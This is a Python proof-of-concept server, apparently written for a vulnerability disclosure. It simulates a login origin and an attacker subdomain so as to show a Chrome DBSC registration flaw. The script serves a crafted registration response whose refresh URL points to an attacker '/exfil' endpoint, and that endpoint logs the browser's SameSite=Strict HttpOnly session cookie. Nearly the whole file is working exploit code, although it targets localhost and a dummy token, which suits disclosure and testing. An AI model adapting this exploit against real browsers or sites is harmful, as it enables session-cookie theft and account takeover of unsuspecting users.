#!/usr/bin/env python3
"""
Multi-origin HTTPS server simulating:
  - login.victim-dbsc-poc.com:8443  (the legitimate target origin)
  - evil.victim-dbsc-poc.com:8443   (the attacker-controlled subdomain)

Chrome must be launched with:
  --host-resolver-rules="MAP *.victim-dbsc-poc.com 127.0.0.1"
  --ignore-certificate-errors
"""

import http.server
import json
import os
import ssl
import subprocess
import sys
import threading

PORT = 8443
SITE = "victim-dbsc-poc.com"
LOGIN_HOST = f"login.{SITE}"
EVIL_HOST = f"evil.{SITE}"

# The cookie we want to prove gets exfiltrated. SameSite=Strict + HttpOnly
# means JS on evil.victim-dbsc-poc.com can never read it directly, and a
# normal cross-site request would never carry it.
SECRET_COOKIE_NAME = "VICTIM_SESSION"
SECRET_COOKIE_VALUE = "SECRET_TOKEN_12345_SHOULD_NEVER_REACH_EVIL"

EXFIL_LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)), "exfil.log")
SERVER_LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)), "server.log")

# Malicious DBSC registration response sent by evil.victim-dbsc-poc.com/reg.
#
# Key points:
#  - scope.include_site = false  -> bypasses .well-known subdomain check
#  - scope.origin = login origin -> only same-SITE (not same-origin) checked
#  - refresh_url -> attacker endpoint (only same-SITE checked)
#  - credentials -> nonexistent Domain= cookie so every in-scope request defers
#  - allowed_refresh_initiators = ["*"] so any initiator (including JS-nav
#    from the attacker page) is allowed to trigger the refresh
REGISTRATION_JSON = {
    "session_identifier": "attacker-planted-session",
    "refresh_url": f"https://{EVIL_HOST}:{PORT}/exfil",
    "scope": {
        "include_site": False,
        "origin": f"https://{LOGIN_HOST}:{PORT}",
    },
    "credentials": [
        {
            "type": "cookie",
            "name": "__nonexistent_dbsc_bait",
            "attributes": f"Domain={SITE}; Path=/; Secure",
        }
    ],
    "allowed_refresh_initiators": ["*"],
}


def log(msg):
    line = f"[server] {msg}"
    print(line, flush=True)
    with open(SERVER_LOG, "a") as f:
        f.write(line + "\n")


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        log(f"{self.headers.get('Host','?')} {self.command} {self.path} :: {fmt % args}")

    def _send(self, code, body=b"", ctype="text/html; charset=utf-8",
              extra_headers=None):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        for k, v in (extra_headers or []):
            self.send_header(k, v)
        self.end_headers()
        if body:
            self.wfile.write(body)

    # ----------------------------------------------------------------- GET ----
    def do_GET(self):
        host = (self.headers.get("Host") or "").split(":")[0]

        # ---------------- login.victim-dbsc-poc.com (legitimate origin) -------
        if host == LOGIN_HOST and self.path.startswith("/step1_setcookie"):
            # Simulate the victim already having a sensitive domain-wide
            # session cookie for the site, then proceed to the attacker page.
            cookie = (
                f"{SECRET_COOKIE_NAME}={SECRET_COOKIE_VALUE}; "
                f"Domain={SITE}; Path=/; Secure; HttpOnly; SameSite=Strict"
            )
            body = (
                b"<!doctype html><title>step1</title>"
                b"<h1>Step 1: victim session cookie set</h1>"
                b"<p>Redirecting to attacker subdomain...</p>"
                b"<script>setTimeout(function(){"
                b"  location.href='https://" + EVIL_HOST.encode() +
                b":" + str(PORT).encode() + b"/step2_trigger';"
                b"}, 500);</script>"
            )
            self._send(200, body, extra_headers=[("Set-Cookie", cookie)])
            return

        if host == LOGIN_HOST and self.path.startswith("/step3_victim_nav"):
            # Just a landing page. By the time Chrome serves this request, it
            # has already been deferred and the refresh POST to /exfil sent.
            body = (
                b"<!doctype html><title>step3</title>"
                b"<h1>Step 3: victim navigated to login origin</h1>"
                b"<p>If the bug fired, the attacker's /exfil endpoint just "
                b"received this navigation's cookies.</p>"
            )
            self._send(200, body)
            return

        if host == LOGIN_HOST and self.path.startswith(
                "/.well-known/device-bound-sessions"):
            # The whole point of the bug: with include_site=false this is
            # NEVER fetched. If it were, this 404 would block registration.
            log("!!! UNEXPECTED: .well-known was fetched (bug not triggered)")
            self._send(404, b'{"error":"not configured"}',
                       ctype="application/json")
            return

        # ---------------- evil.victim-dbsc-poc.com (attacker subdomain) -------
        if host == EVIL_HOST and self.path.startswith("/step2_trigger"):
            # The Secure-Session-Registration header on this very response
            # kicks off DBSC registration in the network service.
            body = (
                b"<!doctype html><title>step2</title>"
                b"<h1>Step 2: attacker page</h1>"
                b"<p>DBSC registration header sent. Waiting for browser to "
                b"POST to /reg, then navigating to login origin...</p>"
                b"<script>setTimeout(function(){"
                b"  location.href='https://" + LOGIN_HOST.encode() +
                b":" + str(PORT).encode() + b"/step3_victim_nav';"
                b"}, 4000);</script>"
            )
            reg_header = '(ES256);path="/reg";challenge="poc-challenge"'
            self._send(200, body, extra_headers=[
                ("Secure-Session-Registration", reg_header),
            ])
            return

        self._send(404, b"not found")

    # ---------------------------------------------------------------- POST ----
    def do_POST(self):
        host = (self.headers.get("Host") or "").split(":")[0]
        clen = int(self.headers.get("Content-Length") or 0)
        body_in = self.rfile.read(clen) if clen else b""

        if host == EVIL_HOST and self.path.startswith("/reg"):
            log("DBSC registration POST received -> sending malicious config")
            payload = json.dumps(REGISTRATION_JSON).encode()
            self._send(200, payload, ctype="application/json")
            return

        if host == EVIL_HOST and self.path.startswith("/exfil"):
            cookie_header = self.headers.get("Cookie", "")
            sess_id = self.headers.get("Sec-Secure-Session-Id", "")
            log("=" * 70)
            log("!!! EXFIL HIT !!! refresh POST received at attacker endpoint")
            log(f"    Sec-Session-Id: {sess_id}")
            log(f"    Cookie: {cookie_header}")
            log("=" * 70)
            with open(EXFIL_LOG, "a") as f:
                f.write(f"Sec-Session-Id: {sess_id}\n")
                f.write(f"Cookie: {cookie_header}\n")
            if SECRET_COOKIE_VALUE in cookie_header:
                log("!!! VULNERABILITY CONFIRMED: SameSite=Strict HttpOnly "
                    "domain cookie exfiltrated to attacker subdomain via DBSC "
                    "refresh")
            # Tell the browser to drop the session so we don't keep deferring.
            payload = json.dumps({
                "session_identifier": "attacker-planted-session",
                "continue": False,
            }).encode()
            self._send(200, payload, ctype="application/json")
            return

        self._send(404, b"not found")


class ThreadingServer(http.server.ThreadingHTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def ensure_cert(cert_path, key_path):
    if os.path.exists(cert_path) and os.path.exists(key_path):
        return
    log("generating self-signed cert for *.victim-dbsc-poc.com")
    subprocess.check_call([
        "openssl", "req", "-x509", "-newkey", "rsa:2048",
        "-keyout", key_path, "-out", cert_path,
        "-sha256", "-days", "3650", "-nodes",
        "-subj", f"/CN=*.{SITE}",
        "-addext",
        f"subjectAltName=DNS:*.{SITE},DNS:{SITE},DNS:{LOGIN_HOST},DNS:{EVIL_HOST}",
    ])


def main():
    here = os.path.dirname(os.path.abspath(__file__))
    cert = os.path.join(here, "server.crt")
    key = os.path.join(here, "server.key")
    ensure_cert(cert, key)

    for p in (EXFIL_LOG, SERVER_LOG):
        try:
            os.remove(p)
        except FileNotFoundError:
            pass

    httpd = ThreadingServer(("127.0.0.1", PORT), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(cert, key)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    log(f"listening on https://127.0.0.1:{PORT}")
    log(f"start at: https://{LOGIN_HOST}:{PORT}/step1_setcookie")
    httpd.serve_forever()


if __name__ == "__main__":
    main()